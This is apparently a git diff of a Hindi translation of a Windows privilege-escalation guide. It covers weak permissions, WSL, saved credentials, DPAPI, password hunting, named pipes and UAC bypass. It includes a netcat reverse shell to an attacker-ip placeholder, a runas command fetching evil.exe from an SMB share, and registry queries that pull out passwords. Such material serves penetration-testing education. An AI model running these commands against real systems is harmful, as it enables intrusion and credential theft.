जांचें कि क्या आप किसी कॉन्फ़िग फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक व्यवस्थापक खाते (schedtasks) द्वारा निष्पादित होने वाली है।
सिस्टम में कमजोर फ़ोल्डर/फ़ाइल अनुमतियों को खोजने का एक तरीका है:
```bash
@ -596,7 +609,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### स्टार्टअप पर चलाएँ
**जांचें कि क्या आप कुछ रजिस्ट्री या बाइनरी को ओवरराइट कर सकते हैं जो किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने वाली है।**\
**अधिक जानने के लिए** **निम्नलिखित पृष्ठ** को पढ़ें **प्रिविलेज बढ़ाने के लिए दिलचस्प ऑटोरन स्थानों के बारे में**:
**अधिक जानने के लिए** **निम्नलिखित पृष्ठ** को पढ़ें **प्रिविलेज बढ़ाने के लिए दिलचस्प ऑटोरन स्थानों** के बारे में:
{{#ref}}
privilege-escalation-with-autorun-binaries.md
@ -648,11 +661,11 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
### Open Ports
Check for **restricted services** from the outside
बाहर से **प्रतिबंधित सेवाओं** की जांच करें
```bash
netstat -ano #Opened ports?
```
### राउटिंग तालिका
### रटिंग तालिका
```
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
@ -675,7 +688,7 @@ C:\Windows\System32\wsl.exe
```
बाइनरी `bash.exe` भी `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` में पाया जा सकता है।
यदि आप रूट उपयोगकर्ता प्राप्त करते हैं, तो आप किसी भी पोर्ट पर सुन सकते हैं (जब आप पहली बार `nc.exe` का उपयोग करके किसी पोर्ट पर सुनते हैं, तो यह GUI के माध्यम से पूछेगा कि क्या `nc` को फ़ायरवॉल द्वारा अनुमति दी जानी चाहिए)।
यदि आप रूट उपयोगकर्ता प्राप्त करते हैं, तो आप किसी भी पोर्ट पर सुन सकते हैं (जब आप पहली बार `nc.exe` का उपयोग किसी पोर्ट पर सुनने के लिए करते हैं, तो यह GUI के माध्यम से पूछेगा कि क्या `nc` को फ़ायरवॉल द्वारा अनुमति दी जानी चाहिए)।
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
@ -684,7 +697,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
बश को रूट के रूप में आसानी से शुरू करने के लिए, आप `--default-user root` आजमा सकते हैं।
आप `WSL` फ़ाइल सिस्टम को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में एक्सप्लोर कर सकते हैं।
आप `WSL` फ़ाइल सिस्टम को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में खोज सकते हैं।
## Windows Credentials
@ -703,9 +716,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Credentials manager / Windows vault
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Vault उपयोगकर्ताओं के क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए संग्रहीत करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है।
Windows Vault उपयोगकर्ता क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए संग्रहीत करता है जिनें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन कर सकता है**। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है।
Windows Vault उन क्रेडेंशियल्स को संग्रहीत करता है जिन्हें Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका अर्थ है कि कोई भी **Windows एप्लिकेशन जिसे किसी संसाधन (सर्वर या वेबसाइट) तक पहुँचने के लिए क्रेडेंशियल्स की आवश्यकता होती है** **इस Credential Manager** और Windows Vault का उपयोग कर सकता है और उपयोगकर्ताओं द्वारा बार-बार उपयोगकर्ता नाम और पासवर्ड दर्ज करने के बजाय प्रदान किए गए क्रेडेंशियल्स का उपयोग कर सकता है।
Windows Vault उन क्रेडेंशियल्स को संग्रहीत करता है जिनसे Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका अर्थ है कि कोई भी **Windows एप्लिकेशन जिसे किसी संसाधन (सर्वर या वेबसाइट) तक पहुँचने के लिए क्रेडेंशियल्स की आवश्यकता होती है** **इस Credential Manager** और Windows Vault का उपयोग कर सकता है और उपयोगकर्ताओं द्वारा बार-बार उपयोगकर्ता नाम और पासवर्ड दर्ज करने के बजाय प्रदान किए गए क्रेडेंशियल्स का उपयोग कर सकता है।
जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह **क्रेडेंशियल मैनेजर के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स को डिफ़ॉल्ट स्टोरेज वॉल्ट से अनुरोध करना चाहिए**
@ -717,11 +730,11 @@ Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
फिर आप `/savecred` विकल्पों के साथ `runas` का उपयोग कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक रिमोट बाइनरी को कॉल कर रहा है।
फिर आप `/savecred` विकल्पों के साथ `runas` का उपयोग कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक दूरस्थ बाइनरी को कॉल कर रहा है।
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
`runas`े साथ प्रदान किए गए क्रेडेंशियल का उपयोग करना
`runas`ा उपयोग एक प्रदान किए गए क्रेडेंशियल सेट के साथ
```bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
@ -729,11 +742,11 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
### DPAPI
**डेटा प्रोटेक्शन एपीआई (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर असममित निजी कुंजियों के सममित एन्क्रिप्शन के लिए उपयोग किया जाता है। यह एन्क्रिप्शन एक उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है ताकि एंट्रॉपी में महत्वपूर्ण योगदान दिया जा सके
**Data Protection API (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से Windows ऑपरेटिंग सिस्टम के भीतर सममित एन्क्रिप्शन के लिए असममित निजी कुंजियों के लिए उपयोग किया जाता है। यह एन्क्रिप्शन एक उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है जो एंट्रॉपी में महत्वपूर्ण योगदान देता है
**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई सममित कुंजी के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम करता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है।
**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई सममित कुंजी के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम बनाता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है।
DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों की सुरक्षा करने वाल मास्टर कुंजी के साथ उसी फ़ाइल में स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, उपयोगकर्ता की निजी कुंजियों की सुरक्षा करने वाल मास्टर कुंजी के साथ उसी फ़ाइल में सह-स्थित होती है**, जो आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
@ -756,7 +769,7 @@ dpapi-extracting-passwords.md
### PowerShell Credentials
**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए उपयोग किए जाते हैं, ताकि एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से संग्रहीत किया जा सके। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था।
**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से स्टोर करने के लिए उपयोग किए जाते हैं। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था।
एक PS क्रेडेंशियल को उस फ़ाइल से डिक्रिप्ट करने के लिए जिसमें यह है, आप कर सकते हैं:
```powershell
@ -797,13 +810,13 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
### Sticky Notes
लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग **पासवर्ड** और अन्य जानकारी को **सहेजने** के लिए करते हैं, यह नहीं realizing कि यह एक डेटाबेस फ़ाइल है। यह फ़ाइल `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` पर स्थित है और इसे खोजने और जांचने के लिए हमेशा मूल्यवान होता है।
लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग **पासवर्ड** और अन्य जानकारी को **सहेजने** के लिए करते हैं, यह नहीं realizing कि यह एक डेटाबेस फ़ाइल है। यह फ़ाइल `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` पर स्थित है और इसे खोजना और जांचना हमेशा फायदेमंद होता है।
### AppCmd.exe
**ध्यान दें कि AppCmd.exe से पासवर्ड पुनर्प्राप्त करने के लिए आपको Administrator होना चाहिए और उच्च इंटीग्रिटी स्तर के तहत चलाना चाहिए।**\
**AppCmd.exe** `%systemroot%\system32\inetsrv\` निर्देशिका में स्थित है।\
यदि यह फ़ाइल मौजूद है तो यह संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है।
यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है।
यह कोड [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) से निकाला गया था:
```bash
@ -892,9 +905,9 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
if ($result) { $result }
else { Write "Not Installed." }
```
## फ़ाइलें और रजिस्ट्र्री (क्रेडेंशियल्स)
## फ़ाइलें और रजिस्ट्री (क्रेडेंशियल्स)
### पुट्टी क्रेड्स
### Putty क्रेड्स
```bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
```
@ -1137,22 +1150,22 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd
```
Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
```
### Credentials in the RecycleBin
### RecycleBin में क्रेडेंशियल्स
आपको इसमें क्रेडेंशियल्स की तलाश के लिए बिन की भी जांच करनी चाहिए
आपको इसके अंदर क्रेडेंशियल्स की तलाश के लिए बिन की भी जांच करनी चाहिए
To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
कई प्रोग्राम द्वारा सहेजे गए **पासवर्ड को पुनर्प्राप्त करने** के लिए आप उपयोग कर सकते हैं: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### Inside the registry
### रजिस्ट्री के अंदर
**Other possible registry keys with credentials**
**क्रेडेंशियल्स के साथ अन्य संभावित रजिस्ट्री कुंजी**
```bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
```
[**Registry से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
[**रजिस्ट्री से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
### ब्राउज़र्स इतिहास
@ -1168,9 +1181,9 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### **COM DLL ओवरराइटिंग**
**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास आईडी (CLSID)** के माध्यम से **पहचान**िया जाता है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस आईडी (IIDs) के माध्यम से पहचाना जाता है।
**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास आईडी (CLSID)** के माध्यम से **पहचान**ी जाती है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस आईडी (IIDs) के माध्यम से पहचाना जाता है।
COM क्लास और इंटरफेस को रजिस्ट्री में **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** और **HKEY\_**_**CLASSES\_**_**ROOT\Interface** के तहत परिभाषित किया गया है। यह रजिस्ट्री **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** को मिलाकर बनाई गई है।
COM क्लास और इंटरफेस रजिस्ट्री में **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** और **HKEY\_**_**CLASSES\_**_**ROOT\Interface** के तहत परिभाषित है। यह रजिस्ट्री **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** को मिलाकर बनाई गई है।
इस रजिस्ट्री के CLSIDs के अंदर आप बच्चे की रजिस्ट्री **InProcServer32** पा सकते हैं जिसमें एक **डिफ़ॉल्ट मान** होता है जो एक **DLL** की ओर इशारा करता है और एक मान जिसे **ThreadingModel** कहा जाता है जो **Apartment** (सिंगल-थ्रेडेड), **Free** (मल्टी-थ्रेडेड), **Both** (सिंगल या मल्टी) या **Neutral** (थ्रेड न्यूट्रल) हो सकता है।
@ -1178,7 +1191,7 @@ COM क्लास और इंटरफेस को रजिस्ट्र
बुनियादी रूप से, यदि आप **किसी भी DLL को ओवरराइट** कर सकते हैं जो निष्पादित होने जा रही है, तो आप **अधिकार बढ़ा सकते हैं** यदि वह DLL किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने जा रही है।
हमलावरों द्वारा COM Hijacking का उपयोग स्थिरता तंत्र के रूप में कैसे किया जाता है, यह जानने के लिए जांचें:
हमलावरों द्वारा COM Hijacking का उपयोग कैसे किया जाता है, यह जानने के लिए जांचें:
{{#ref}}
com-hijacking.md
@ -1198,7 +1211,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
**रजिस्ट्री में कुंजी नाम और पासवर्ड के लिए खोजें**
**रजिस्ट्री में कुंजी नामों और पासवर्ड के लिए खोजें**
```bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
@ -1211,7 +1224,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) स्वचालित रूप से इस पृष्ठ में उल्लिखित पासवर्ड वाले सभी फ़ाइलों की खोज करता है।\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) एक और शानदार उपकरण है जो एक सिस्टम से पासवर्ड निकालता है।
उपकरण [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **सत्रों**, **उपयोगकर्ता नामों** और **पासवर्डों** की खोज करता है जो कई उपकरणों में स्पष्ट पाठ में इस डेटा को सहेजते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, और RDP)
उपकरण [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **सत्रों**, **उपयोगकर्ता नामों** और **पासवर्डों** की खोज करता है कई उपकरणों के जो इस डेटा को स्पष्ट पाठ में सहेजते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, और RDP)
```bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
@ -1220,18 +1233,18 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## Leaked Handlers
कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल विरासत में लेती है**।\
कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल विरासत में लेते हुए**।\
फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **privileged प्रक्रिया के लिए खोले गए हैंडल को पकड़ सकते हैं** जो `OpenProcess()` के साथ बनाई गई थी और **एक shellcode इंजेक्ट कर सकते हैं**।\
[इस उदाहरण को पढ़ें अधिक जानकारी के लिए **इस भेद्यता का पता लगाने और शोषण करने के बारे में**।](leaked-handle-exploitation.md)\
[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे परीक्षण करें और विभिन्न स्तरों के अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिल प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)।
[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे विभिन्न स्तरों की अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिल प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का परीक्षण और दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)।
## Named Pipe Client Impersonation
साझा मेमोरी खंड, जिसे **pipes** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण को सक्षम बनाते हैं।
साझा मेमोरी खंड, जिसे **pipes** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण की अनुमति देते हैं।
Windows एक सुविधा प्रदान करता है जिसे **Named Pipes** कहा जाता है, जो असंबंधित प्रक्रियाओं को डेटा साझा करने की अनुमति देता है, यहां तक कि विभिन्न नेटवर्कों पर भी। यह एक क्लाइंट/सर्वर आर्किटेक्चर के समान है, जिसमें भूमिकाएँ **named pipe server** और **named pipe client** के रूप में परिभाषित होती हैं।
जब डेटा एक पाइप के माध्यम से **client** द्वारा भेजा जाता है, तो **server** जिसने पाइप सेट किया है, **client** की पहचान **अपनाने** की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **privileged प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस तरह के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहाँ**](named-pipe-client-impersonation.md) और [**यहाँ**](#from-high-integrity-to-system) पाई जा सकती हैं।
जब डेटा एक **client** द्वारा एक पाइप के माध्यम से भेजा जाता है, तो **server** जिसने पाइप सेट किया है, **client** की पहचान **अपनाने** की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **privileged प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस प्रकार के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहाँ**](named-pipe-client-impersonation.md) और [**यहाँ**](#from-high-integrity-to-system) पाई जा सकती हैं।
इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ एक named pipe संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध करने और privescs खोजने की अनुमति देता है** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
@ -1255,7 +1268,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
यदि आपके पास ग्राफिकल इंटरफेस (कंसोल या RDP के माध्यम से) तक पहुंच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में एक अनधिकृत उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे किसी भी अन्य प्रक्रिया को चलाना संभव है।
यह प्रिविलेज को बढ़ाने और एक ही समय में UAC को बायपास करने की अनुमति देता है, उसी भेद्यता के साथ। इसके अलावा, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा साइन और जारी किया गया है।
यह प्रिविलेज को बढ़ाने और एक ही समय में UAC को बायपास करने की अनुमति देता है, उसी भेद्यता के साथ। इसके अलावा, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी, Microsoft द्वारा साइन और जारी किया गया है।
कुछ प्रभावित सिस्टम निम्नलिखित हैं:
```
@ -1279,7 +1292,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
```
इस कमजोरियों का लाभ उठाने के लिए, निम्नलिखित चरणों को पूरा करना आवश्यक है:
इस सुरक्षा कमजोरी का लाभ उठाने के लिए, निम्नलिखित चरणों को पूरा करना आवश्यक है:
```
1) Right click on the HHUPD.EXE file and run it as Administrator.
@ -1327,28 +1340,28 @@ sc start newservicename
### AlwaysInstallElevated
एक उच्च इंटीग्रिटी प्रक्रिया से आप **AlwaysInstallElevated रजिस्ट्री प्रविष्टियों को सक्षम करने** और **एक रिवर्स शेल स्थापित करने** की कोशिश कर सकते हैं, जिसका उपयोग _**.msi**_ रैपर के रूप में किया जाता है।\
[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated)
[रजिस्ट्री कुंजियों के बारे में अधिक जानकारी और _.msi_ पैकेज स्थापित करने के तरीके के लिए यहां देखें।](#alwaysinstallelevated)
### High + SeImpersonate privilege to System
**आप** [**कोड यहा खोज सकते हैं**](seimpersonate-from-high-to-system.md)**।**
**आप** [**कोड यहा खोज सकते हैं**](seimpersonate-from-high-to-system.md)**।**
### From SeDebug + SeImpersonate to Full Token privileges
यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को** (संरक्षित प्रक्रियाएँ नहीं) SeDebug विशेषाधिकार के साथ **खोलने**, प्रक्रिया का **टोकन कॉपी करने**, और उस टोकन के साथ एक **मनमाना प्रक्रिया बनाने** में सक्षम होंगे।\
यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को** (संरक्षित प्रक्रियाओं को छोड़कर) SeDebug विशेषाधिकार के साथ **खोलने**, प्रक्रिया का **टोकन कॉपी करने**, और उस टोकन के साथ एक **मनमाना प्रक्रिया बनाने** में सक्षम होंगे।\
इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को सभी टोकन विशेषाधिकारों के साथ चुना जाता है** (_हाँ, आप सभी टोकन विशेषाधिकारों के बिना SYSTEM प्रक्रियाएँ पा सकते हैं_)।\
**आप एक** [**उदाहरण कोड executing the proposed technique यहा खोज सकते हैं**](sedebug-+-seimpersonate-copy-token.md)**।**
**आप एक** [**उदाहरण कोड executing the proposed technique यहा खोज सकते हैं**](sedebug-+-seimpersonate-copy-token.md)**।**
### **Named Pipes**
यह तकनीक मीटरप्रेटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा और SYSTEM विशेषाधिकार प्राप्त करेगा।\
